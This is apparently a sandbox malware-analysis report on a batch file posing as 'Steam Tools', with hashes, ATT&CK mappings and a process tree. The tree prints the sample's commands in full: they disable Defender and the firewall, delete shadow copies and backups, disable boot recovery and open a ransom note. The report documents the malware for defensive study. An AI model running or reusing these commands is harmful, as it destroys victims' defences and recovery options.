164de66079dbf539d9e69ee265fcc405819169ba386e734ec14dc449f73ce7f6

Analysis

max time kernel
148s
max time network
143s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
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General

Target
Steam Tools.bat
Size 3KB
Sample260930-hptapswenb
SHA256 164de66079dbf539d9e69ee265fcc405819169ba386e734ec14dc449f73ce7f6
MD5 2ed4d61507a09c3cd44c6ffe829c6ca6
SHA1 fa70973b3b0b070a567d2170efd76cf095c27459
SHA512 55a549d22b753f9085a02542495564c6bde1e5daade39fa8d4af05f9f42b6b88cf20ea529bc726a44d88cbb467844f3510d2d7d9d9b6c07c67b599325a5217dd
TLSH
T13C6182133D081D2BC557B990D5FF8503A7A5A08BB0977ED0A9C530D824771C18BBAEDE
MD5 SHA1 SHA512 TLSH

Score

10^/10

defense_evasion discovery evasion execution impact persistence privilege_escalation ransomware spyware stealer trojan

Malware Config

Signatures

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs

defense_evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
5792	bcdedit.exe
2916	bcdedit.exe

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
1240	wbadmin.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	reg.exe

Disables Task Manager via registry modification
defense_evasion

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
4420	netsh.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Drops file in System32 directory 41 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\config\BBI{2ad838d4-efea-11ee-a54d-000d3a94eaa1}.TMContainer00000000000000000001.regtrans-ms	attrib.exe
File opened for modification	C:\Windows\System32\config\DRIVERS.LOG1	attrib.exe
File opened for modification	C:\Windows\System32\config\BCD-Template	attrib.exe
File opened for modification	C:\Windows\System32\config\COMPONENTS	attrib.exe
File opened for modification	C:\Windows\System32\config\COMPONENTS.LOG1	attrib.exe
File opened for modification	C:\Windows\System32\config\DEFAULT	attrib.exe
File opened for modification	C:\Windows\System32\config\DRIVERS{2ad838a4-efea-11ee-a54d-000d3a94eaa1}.TMContainer00000000000000000002.regtrans-ms	attrib.exe
File opened for modification	C:\Windows\System32\config\BCD-Template.LOG	attrib.exe
File opened for modification	C:\Windows\System32\config\DEFAULT.LOG1	attrib.exe
File opened for modification	C:\Windows\System32\config\DEFAULT.LOG2	attrib.exe
File opened for modification	C:\Windows\System32\config\DRIVERS.LOG2	attrib.exe
File opened for modification	C:\Windows\System32\config\SECURITY.LOG1	attrib.exe
File opened for modification	C:\Windows\System32\config\SYSTEM.LOG1	attrib.exe
File opened for modification	C:\Windows\System32\config\userdiff.LOG2	attrib.exe
File opened for modification	C:\Windows\System32\config\COMPONENTS{2ad83898-efea-11ee-a54d-000d3a94eaa1}.TMContainer00000000000000000001.regtrans-ms	attrib.exe
File opened for modification	C:\Windows\System32\config\DRIVERS{2ad838a4-efea-11ee-a54d-000d3a94eaa1}.TMContainer00000000000000000001.regtrans-ms	attrib.exe
File opened for modification	C:\Windows\System32\config\SAM	attrib.exe
File opened for modification	C:\Windows\System32\config\SAM.LOG2	attrib.exe
File opened for modification	C:\Windows\System32\config\SECURITY	attrib.exe
File opened for modification	C:\Windows\System32\config\SECURITY.LOG2	attrib.exe
File opened for modification	C:\Windows\System32\config\BBI.LOG1	attrib.exe
File opened for modification	C:\Windows\System32\config\COMPONENTS{2ad83898-efea-11ee-a54d-000d3a94eaa1}.TMContainer00000000000000000002.regtrans-ms	attrib.exe
File opened for modification	C:\Windows\System32\config\ELAM	attrib.exe
File opened for modification	C:\Windows\System32\config\SAM.LOG1	attrib.exe
File opened for modification	C:\Windows\System32\config\SOFTWARE	attrib.exe
File opened for modification	C:\Windows\System32\config\SYSTEM.LOG2	attrib.exe
File opened for modification	C:\Windows\System32\config\BBI	attrib.exe
File opened for modification	C:\Windows\System32\config\BBI.LOG2	attrib.exe
File opened for modification	C:\Windows\System32\config\BBI{2ad838d4-efea-11ee-a54d-000d3a94eaa1}.TMContainer00000000000000000002.regtrans-ms	attrib.exe
File opened for modification	C:\Windows\System32\config\COMPONENTS{2ad83898-efea-11ee-a54d-000d3a94eaa1}.TM.blf	attrib.exe
File opened for modification	C:\Windows\System32\config\DRIVERS{2ad838a4-efea-11ee-a54d-000d3a94eaa1}.TM.blf	attrib.exe
File opened for modification	C:\Windows\System32\config\SOFTWARE.LOG1	attrib.exe
File opened for modification	C:\Windows\System32\config\userdiff	attrib.exe
File opened for modification	C:\Windows\System32\config\userdiff.LOG1	attrib.exe
File opened for modification	C:\Windows\System32\config\DRIVERS	attrib.exe
File opened for modification	C:\Windows\System32\config\ELAM.LOG2	attrib.exe
File opened for modification	C:\Windows\System32\config\SYSTEM	attrib.exe
File opened for modification	C:\Windows\System32\config\BBI{2ad838d4-efea-11ee-a54d-000d3a94eaa1}.TM.blf	attrib.exe
File opened for modification	C:\Windows\System32\config\COMPONENTS.LOG2	attrib.exe
File opened for modification	C:\Windows\System32\config\ELAM.LOG1	attrib.exe
File opened for modification	C:\Windows\System32\config\SOFTWARE.LOG2	attrib.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3268	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName	vds.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
3612	vssadmin.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
1644	notepad.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1248	WMIC.exe
1248	WMIC.exe
1248	WMIC.exe
1248	WMIC.exe

Suspicious use of AdjustPrivilegeToken 48 IoCs

description	pid	Process
Token: SeBackupPrivilege	2380	vssvc.exe
Token: SeRestorePrivilege	2380	vssvc.exe
Token: SeAuditPrivilege	2380	vssvc.exe
Token: SeIncreaseQuotaPrivilege	1248	WMIC.exe
Token: SeSecurityPrivilege	1248	WMIC.exe
Token: SeTakeOwnershipPrivilege	1248	WMIC.exe
Token: SeLoadDriverPrivilege	1248	WMIC.exe
Token: SeSystemProfilePrivilege	1248	WMIC.exe
Token: SeSystemtimePrivilege	1248	WMIC.exe
Token: SeProfSingleProcessPrivilege	1248	WMIC.exe
Token: SeIncBasePriorityPrivilege	1248	WMIC.exe
Token: SeCreatePagefilePrivilege	1248	WMIC.exe
Token: SeBackupPrivilege	1248	WMIC.exe
Token: SeRestorePrivilege	1248	WMIC.exe
Token: SeShutdownPrivilege	1248	WMIC.exe
Token: SeDebugPrivilege	1248	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1248	WMIC.exe
Token: SeRemoteShutdownPrivilege	1248	WMIC.exe
Token: SeUndockPrivilege	1248	WMIC.exe
Token: SeManageVolumePrivilege	1248	WMIC.exe
Token: 33	1248	WMIC.exe
Token: 34	1248	WMIC.exe
Token: 35	1248	WMIC.exe
Token: 36	1248	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1248	WMIC.exe
Token: SeSecurityPrivilege	1248	WMIC.exe
Token: SeTakeOwnershipPrivilege	1248	WMIC.exe
Token: SeLoadDriverPrivilege	1248	WMIC.exe
Token: SeSystemProfilePrivilege	1248	WMIC.exe
Token: SeSystemtimePrivilege	1248	WMIC.exe
Token: SeProfSingleProcessPrivilege	1248	WMIC.exe
Token: SeIncBasePriorityPrivilege	1248	WMIC.exe
Token: SeCreatePagefilePrivilege	1248	WMIC.exe
Token: SeBackupPrivilege	1248	WMIC.exe
Token: SeRestorePrivilege	1248	WMIC.exe
Token: SeShutdownPrivilege	1248	WMIC.exe
Token: SeDebugPrivilege	1248	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1248	WMIC.exe
Token: SeRemoteShutdownPrivilege	1248	WMIC.exe
Token: SeUndockPrivilege	1248	WMIC.exe
Token: SeManageVolumePrivilege	1248	WMIC.exe
Token: 33	1248	WMIC.exe
Token: 34	1248	WMIC.exe
Token: 35	1248	WMIC.exe
Token: 36	1248	WMIC.exe
Token: SeBackupPrivilege	3948	wbengine.exe
Token: SeRestorePrivilege	3948	wbengine.exe
Token: SeSecurityPrivilege	3948	wbengine.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 3268 wrote to memory of 5692	3268	cmd.exe	90
PID 5692 wrote to memory of 4240	5692	net.exe	91
PID 3268 wrote to memory of 1644	3268	cmd.exe	92
PID 3268 wrote to memory of 5960	3268	cmd.exe	93
PID 3268 wrote to memory of 4692	3268	cmd.exe	94
PID 3268 wrote to memory of 4164	3268	cmd.exe	95
PID 3268 wrote to memory of 5640	3268	cmd.exe	96
PID 3268 wrote to memory of 4852	3268	cmd.exe	97
PID 4852 wrote to memory of 3776	4852	net.exe	98
PID 3268 wrote to memory of 1876	3268	cmd.exe	100
PID 1876 wrote to memory of 4704	1876	net.exe	101
PID 3268 wrote to memory of 4420	3268	cmd.exe	102
PID 3268 wrote to memory of 364	3268	cmd.exe	103
PID 3268 wrote to memory of 3084	3268	cmd.exe	104
PID 3268 wrote to memory of 4816	3268	cmd.exe	105
PID 3268 wrote to memory of 5792	3268	cmd.exe	106
PID 3268 wrote to memory of 2916	3268	cmd.exe	107
PID 3268 wrote to memory of 3612	3268	cmd.exe	108
PID 3268 wrote to memory of 1248	3268	cmd.exe	111
PID 3268 wrote to memory of 1240	3268	cmd.exe	113
PID 3268 wrote to memory of 1708	3268	cmd.exe	117

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
1708	attrib.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Steam Tools.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3268
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5692
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:4240
- C:\Windows\system32\notepad.exe
  notepad.exe "C:\Users\Public\Desktop\NOTICE.txt"
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:1644
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  PID:5960
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:4692
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:4164
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:5640
- C:\Windows\system32\net.exe
  net stop WinDefend /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4852
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop WinDefend /y
    3⤵
    PID:3776
- C:\Windows\system32\net.exe
  net stop wscsvc /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1876
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop wscsvc /y
    3⤵
    PID:4704
- C:\Windows\system32\netsh.exe
  netsh advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:4420
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  PID:364
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  PID:3084
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
  2⤵
  - Disables RegEdit via registry modification
  PID:4816
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:5792
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} recoveryenabled no
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2916
- C:\Windows\system32\vssadmin.exe
  vssadmin delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:3612
- C:\Windows\System32\Wbem\WMIC.exe
  wmic shadowcopy delete
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1248
- C:\Windows\system32\wbadmin.exe
  wbadmin delete catalog -quiet
  2⤵
  - Deletes backup catalog
  PID:1240
- C:\Windows\system32\attrib.exe
  attrib -h -r -s C:\Windows\System32\config\*
  2⤵
  - Drops file in System32 directory
  - Views/modifies file attributes
  PID:1708

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2380

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3948

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:2996

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:4828

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Windows Management Instrumentation

T1047

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Direct Volume Access

T1006

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

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NOTICE.txt

Path C:\Users\Public\Desktop\NOTICE.txt
Size 84B
SHA256 cc3ab5e396a7004b96d28b691949d15d277e0ebe24919381bc93a93e9c328aff
MD5 fea7f45079049cbe7fd5d9c2ec350460
SHA1 aece1e0f99a42884c9324c5b0fa1c5014b0542fd
SHA512 fcb3f26019a2a2c1627b0ff76586fc0e0bd0b562fc99b6afde760945c9d5398e16797f7515049bb961a0b24ee91ba29472d593c49de024807cbfa2c6e6006c73
TLSH
T169A012740016704A00070A0F13242471244410B9812C85B62E0003D841444661DC5510
MD5 SHA1 SHA512 TLSH

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